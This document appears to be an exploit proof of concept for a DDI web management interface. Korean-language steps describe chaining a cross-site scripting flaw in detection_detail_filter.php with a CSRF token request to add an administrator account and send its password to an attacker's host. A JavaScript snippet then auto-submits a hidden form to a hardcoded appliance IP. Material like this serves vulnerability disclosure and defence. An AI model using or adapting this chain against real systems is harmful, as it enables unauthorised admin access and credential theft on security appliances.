1. DDI 웹 인터페이스에 로그인한 사용자가 악성 웹 페이지를 방문하도록 유도됩니다.
2. 이 페이지의 악성 스크립트는 /php/detection_detail_filter.php의 XSS 취약점을 통해 실행됩니다.
3. 스크립트는 /wsgi/csrf/get_token/에 대한 PUT 요청을 통해 CSRF 토큰을 얻습니다.
4. 그런 다음 이전 요청의 응답에서 얻은 토큰을 사용하여 관리자 권한이 있는 계정을 추가합니다.
5. 추가된 계정의 비밀번호는 이전 요청의 응답에서 얻습니다.
6. 비밀번호는 HTTP 요청을 통해 공격자의 호스트로 전송될 수 있습니다.

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>